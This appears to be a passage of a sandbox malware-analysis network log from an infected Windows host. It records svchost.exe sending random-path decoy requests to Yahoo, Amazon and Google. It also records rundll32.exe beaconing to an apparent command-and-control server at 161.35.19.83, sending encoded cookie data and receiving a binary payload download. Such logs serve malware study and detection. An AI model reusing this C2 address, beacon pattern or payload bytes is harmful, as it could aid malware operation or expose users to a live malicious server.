2021-09-28 07:54:06 UTC	972	OUT	GET /gp1mx3dnqvlii3z8e4ds3flqlze00ff03/kqyazm22ncy02xhvluwaGOi/4gk2n6ADimqokv8wNbzcBhmC/jkg8Pd2n7Qiqfkp1mwDbmx5lbwT9nIp5pwwvoo6V/2A99jM0yPjwq9a3uyplpmlJzuXfFl7ghte/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:06 UTC	973	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:06 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 8 server: ATS Content-Length: 898 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=7hohkn1gl5igu&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:06 UTC	974	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 36 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:06 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:06 UTC	974	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 67 70 31 6d 78 33 64 6e 71 76 6c 69 69 33 7a 38 65 34 64 73 33 66 6c 71 6c 7a 65 30 30 66 66 30 33 25 32 66 6b 71 79 61 7a 6d 32 32 6e 63 79 30 32 78 68 76 6c 75 77 61 47 4f 69 25 32 66 34 67 6b 32 6e 36 41 44 69 6d 71 6f 6b 76 38 77 4e 62 7a 63 42 68 6d 43 25 32 66 6a 6b 67 38 50 64 32 6e 37 51 69 71 66 6b 70 31 6d 77 44 62 6d 78 35 6c 62 77 54 39 6e 49 70 35 70 77 77 76 6f 6f 36 56 25 32 66 32 41 39 39 6a 4d 30 79 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fgp1mx3dnqvlii3z8e4ds3flqlze00ff03%2fkqyazm22ncy02xhvluwaGOi%2f4gk2n6ADimqokv8wNbzcBhmC%2fjkg8Pd2n7Qiqfkp1mwDbmx5lbwT9nIp5pwwvoo6V%2f2A99jM0y

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49963	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:06 UTC	975	OUT	GET /nnq2n2tsj68tcR2D6wEn4s7HCl7lqD/qt8Cnkw3e004m0bem4i2rksscshpKgcv2a0jy0o5vloN/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:07 UTC	975	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:06 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: 0KB6TKT7XVSPJZFR9ND8 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:07 UTC	976	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49964	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:07 UTC	977	OUT	GET /1he7n45hgqdN6Hete7vii3Bz0ipXe67z/8mg2j7fr87r6oelu1Ruh4reckhZ0geue9h16lumt2/g8bvtmAn0g2tsvjxcghmbpstytjBTk54/0dpi7rh6qvzwcnxrr/q570q0gjZ2j7e5lD/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:07 UTC	977	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:06 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 8 server: ATS Content-Length: 866 Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=ds1aj05gl5igv&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:07 UTC	978	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 37 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:07 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:07 UTC	978	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 31 68 65 37 6e 34 35 68 67 71 64 4e 36 48 65 74 65 37 76 69 69 33 42 7a 30 69 70 58 65 36 37 7a 25 32 66 38 6d 67 32 6a 37 66 72 38 37 72 36 6f 65 6c 75 31 52 75 68 34 72 65 63 6b 68 5a 30 67 65 75 65 39 68 31 36 6c 75 6d 74 32 25 32 66 67 38 62 76 74 6d 41 6e 30 67 32 74 73 76 6a 78 63 67 68 6d 62 70 73 74 79 74 6a 42 54 6b 35 34 25 32 66 30 64 70 69 37 72 68 36 71 76 7a 77 63 6e 78 72 72 25 32 66 71 35 37 30 71 30 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f1he7n45hgqdN6Hete7vii3Bz0ipXe67z%2f8mg2j7fr87r6oelu1Ruh4reckhZ0geue9h16lumt2%2fg8bvtmAn0g2tsvjxcghmbpstytjBTk54%2f0dpi7rh6qvzwcnxrr%2fq570q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49966	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:09 UTC	979	OUT	GET /xg1llsh0Rgzu31iKf7yydf/5yO9lyRofucQgjiB0v0kz37Ngn0eltx73Q/jy9maoh5WwcxS27itynf47s/kb9x3kpsfwfmyraAw73qk9kPfmwoVgGkUcxo/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:09 UTC	980	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:09 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: RJ2JQ6YRXW9RW883P17S x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:09 UTC	980	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49967	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:09 UTC	981	OUT	GET /9fJqxvunMcr0CrodzgHgn7yJjExdfatlIfkgtffhhn/YI6s7vlc464uSsu4blv/Sb5c5QaBsOobo8fjcd59Jvg4l59fnpo480urDR/gQrBojyein48d5zluzz9lflxdp3I45yQut6S2le0Gfie/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:09 UTC	981	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1708 Date: Tue, 28 Sep 2021 07:54:09 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:09 UTC	982	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:09 UTC	983	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49856	161.35.19.83	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:25 UTC	305	OUT	GET /feed/news/last HTTP/1.1 Date: Tuesday, 28 September 2021 Cookie: CGIC=EstkoISrExZuqvXTu3tCz6TTSKCfeZHMujTGqTBATVEzEjriXyvlO%2Bwf5SXCWUWfK5uvL4i2s6Ychp%2FI4wIBIYRyo6cPR2bhSpcJ8MTRuVLzyiXxfnIIVyQ3xu%2FFgo9zREsl7byE8t2sAYhnw4QJWb8WS4dzth7Sp1MjQDyh2qE%2FO9RL%2FuvobBHruIlCyNnVweQtKR7h33HPv4z0nZNURAAtO4LEKAEsK4NCMlGYHZPL3VMszQ%2BJ4x7BoNCBp1KPxr3RvfiwYMCvadpfIZ06PSMTanhIcNAZdeAs9%2BQGoUNKlHD2eDXDGBwfjJBaAPqYZmUEmqi4QUfdv%2B8rapUAwQ%3D%3D;DV=rANv72HK%2FaQwNmJysKyzHfTew23PogurjSXGMukIVdCllpCbUvAsSvRJxhzillLXcRLM9B90M937%2FGXVZZaqUXnz%2Bw7ufaXpITMMX05NUZ23Ix%2BWClrve03XDZlo%2BfzkSpe6mmp3VAyktB%2ByW3AU8%2Bc1Hdst6e3mJpRI6s7HundD6h5jHJbXdgiMaVuL2jVU1s7tFlmmeH1NCmfZx7EbktPvwI9TH0XtODqNkiEFrzcF%2FIYsMCrYOplI%2FwEavprtPhB4PT2nfX0weHOBtX9TrfNVlB2eLzXa9E2%2BTSX7YKcHcF2EGNTcFvDeFkZINH6IWah6v%2FrJfSlFoXNeCuMQWQ%3D%3D;HSID=gq8ZNbDF5ks85z4P%2BIMaH%2FzRLe46r7%2F%2Bhnn%2FpDJO9YmEXgEQh2yDpRm3wm6yEc8nw0QU9K1eeO0FbnVhhYzuhW9U2CPf4r9Sa0ADgwo6ZchGF7aQeC26N6C%2FCCbYOrfYNipK%2B2Zc6aerq5aAq%2F5DlAaVWkC3UqSbjwPa87rS4RRJ%2FgQ%2BhUe9KG7SMycbxOmDLWgMm5AorosFNcYgqAbxdUeyPWj58HkitgRmQpb0AnoipNS8s%2BRYlVzgQTpYz2w2ApzBXhbNaHx6H%2BPNhSnIBxjhUJh%2BEnfERdY3%2FereScY2VGlOIu9kQN2qSQB6cX%2FydHVs9oYSGgbalJ9%2FKRtZmA%3D%3D;ANID=Uji%2B3DddSqINsZbhaYW3rq8Z7ULhrDupGF%2BcAA85Cz3iHCIym%2FCnetnQ33%2FN%2FMudZMVtcbj6o1kR9NwAwZUCOgsBxvGd7e%2Bzo3ysEQMFz1PIEUdejAoN%2BjUK9dzv7O6shkuG5VHL2HF2jOPK2CQd1A6njo0%2BIGbFv8p4d4DgCIul%2F%2BSR2XM24Du0SZPoFQVDfq6ftwn%2BQxDtbRIqi4A50LPyIwMbq6rOZDFVurZN01KyWzP2%2B%2Bj%2Bo4QDkTX15IlI5i0P3kuD8%2BiYRQyOBDwX8EtSa8eXbLhRIxb9c38fNSWLwfPJ9DdtpysnjK0trRPhieSnPyJ9foSoLM0tT%2FgKmA%3D%3D; Var: KY5XBk%2FDucUbvQaQsg%2BQHStNSLGlJG%2Fo69Kx%2BgPduIAdSSMptfPGiftIa2pT3JGkDZO9xYrkyKo1fUsvTGXYyjRdsgH1ghfY7kxruuZiahvYEUlBhj9brG4YknUgrFIja9%2BQzYpR8cnfOlCcPTk0ESDmKvT7UEj9NmwLJnKfyXa%2BcJbjtkHWRk5FTb5Fe3l798zHeW9sVmrya1zPyRCyBjb7fTtZXRB7eTbdNzxzMsNMpEgiKBGAAW9EL7p8bUp2fqFXm3VMRdTW5%2B7QuIK43H7v9VyeM9Z54nmnjIeFoxUNSZGE6IV4oe2w1WKVRAdWvT6MTdMtawLQOoLvP2sPIg%3D%3D X-Tag: jp1DiqpRASRUF7e7pZbPslw%2BnoAkCv7M478dWRcWvP0i0YCFMQnbDUn9UHAlC8s2Y%2FGQoGFJy7kocRQ%2B8A7X%2B%2B1XR1nLOYJk%2FbEEb1mGtT3Xy6%2FBxFMnPFyHXyPVxoqRnWQP4IFL%2BkLEytJMC03WfT%2BWE6xJ5RKePfc7rzY6Hr4K9iRh82OrkfCV1NxNqH9GezcgQ%2B0ELREesXSexMiohrTx4is6fbHEsjM9pjZ73sf55s2wKXfd9HELisvuEwy7wrk1vk2Gazka9SY1DtU6Or2XUzQ%2BM14n94xJZqJbZJQSye1iYdH5dl93fCZtLd87oKeyOJbGcxK56GVIRmMjpw%3D%3D Vary: x%2B%2BILUePbYwFzVVTknX4r531L3iVBpVYO4s9ltWeP%2BDV0SUXrk3B%2Fw2iUDP6n1MSqwaTC0KtdI2hcdn%2B7CRzMW9pDdW2%2FtJejYbr%2BClk98oEOWEC7c%2BALXpbRhzcbxRo9yGawXJleH43VLHspBqBPQDXr8TPCCgmCKkRB9RlZ3xzfTiPJYKzbWULR6mwhzJpSNerkOQxiaVqYNQ42XII0lsHsQ2lN4oA6a1fNI1WZBksW08xkLygP9XyqfV0K8R5aF6JFF4KyLolrPGYkB1xcloITNeTObVo5w%2B5OKZAZv5XY%2BrHPA8bsu%2FK1U%2FCtDAodVAbUBg0NThvSLujocTo1Q%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Host: 161.35.19.83
2021-09-28 07:53:27 UTC	308	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: application/octet-stream Content-Length: 293376 Connection: close Date: Tue, 28 Sep 2021 07:53:27 GMT Content-Description: File Transfer Content-Disposition: attachment; filename=nwko4LTpzG Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Pragma: public X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2021-09-28 07:53:27 UTC	309	IN	Data Raw: c2 91 87 40 b8 ae 4d 9a a5 5d fc cc 26 7c 3d e3 58 8e 2e c7 7d 74 bc 2c d9 35 79 d7 41 8f b8 04 77 cc 82 62 a0 07 23 68 fc 83 71 2a 50 64 50 c4 b7 e5 b9 75 3b 16 8e 14 bc 80 88 50 7f 44 1e 80 45 b4 98 8b 86 81 c7 c1 54 18 42 58 aa 3f b4 e8 be 47 6a f5 6b f7 53 65 cb a8 37 59 3e 96 b5 92 0d 41 76 5c a2 91 ef 3e 1b 2c 63 a8 7f ef 4b 3f 00 6d 3c f3 48 59 39 ee 5f 56 8f 5e 16 99 10 33 b5 ab 3f 46 aa ec 28 32 b2 e1 0e 53 77 db 5a 44 31 36 65 cc 40 0a b9 f8 a8 47 ba 18 47 d3 6b 41 06 3f 72 6b 96 05 d1 ce 23 25 da c9 b5 7f 2f 98 98 17 0c 23 3a 22 a5 62 1d 1c f9 75 3c 13 25 b7 aa d1 89 88 73 68 b5 c9 77 bb 11 b5 82 be 3f 8e 9e 1b 07 5e e3 2e 45 e0 f7 90 f5 f1 22 05 1c 4e 60 e6 a5 38 95 38 8a a7 d2 2c 67 af 22 c4 9c 06 00 0b 04 81 9d 91 fc 86 6e 2b 3f 42 ac ac 7e Data Ascii: @M]&\|=X.}t,5yAwb#hq*PdPu;PDETBX?GjkSe7Y>Av\>,cK?m<HY9_V^3?F(2SwZD16e@GGkA?rk#%/#:"bu<%shw?^.E"N`88,g"n+?B~
2021-09-28 07:53:27 UTC	312	IN	Data Raw: 1e 70 d2 5d ba 30 48 34 d2 3f 60 c8 51 83 91 d1 c1 87 09 b4 16 69 a5 92 68 17 e6 17 77 f3 82 e4 1b 36 80 c5 94 fe fb 00 67 1b b0 bc 41 dd 72 26 a8 b1 1a c3 57 e6 f0 7b 1e 7f a7 eb 07 2f 6e 96 81 c1 b9 6b 09 42 f9 7b 4f d1 8c 4e 9e a3 7a 82 eb 7d f1 af f1 54 f8 ed f5 d1 1e 33 4f 3d 62 33 80 b3 11 eb da c7 06 2f a1 97 ec 1d 66 0f 34 6f d3 a2 ed d7 cf ef 25 16 d0 d2 ae 87 44 3e 2b 4e 8c c0 53 33 fb 32 d7 24 6b 36 a4 24 2f 68 2b c8 25 6e 6f d5 a8 21 11 3d da c3 c4 81 1f cd 02 42 a9 1c 6e 74 b2 40 cc 1c e1 97 52 26 39 4d 13 37 ec 63 4f 04 21 8e 7f 1a ea a1 c6 91 7a d1 38 f9 70 af cb 1c 82 a6 7c 72 6c bb bb 33 5d 68 bd 32 88 f6 9b 00 39 8d bb 80 3f cd ae 9e 51 72 ad ee d7 d3 d4 8a 4a 37 b8 af 05 fe dc 8d f2 75 ef 96 64 26 b0 ee 64 4e 7a e5 72 3f 9a 40 66 36 11 Data Ascii: p]0H4?`Qihw6gAr&W{/nkB{ONz}T3O=b3/f4o%D>+NS32$k6$/h+%no!=Bnt@R&9M7cO!z8p\|rl3]h29?QrJ7ud&dNzr?@f6
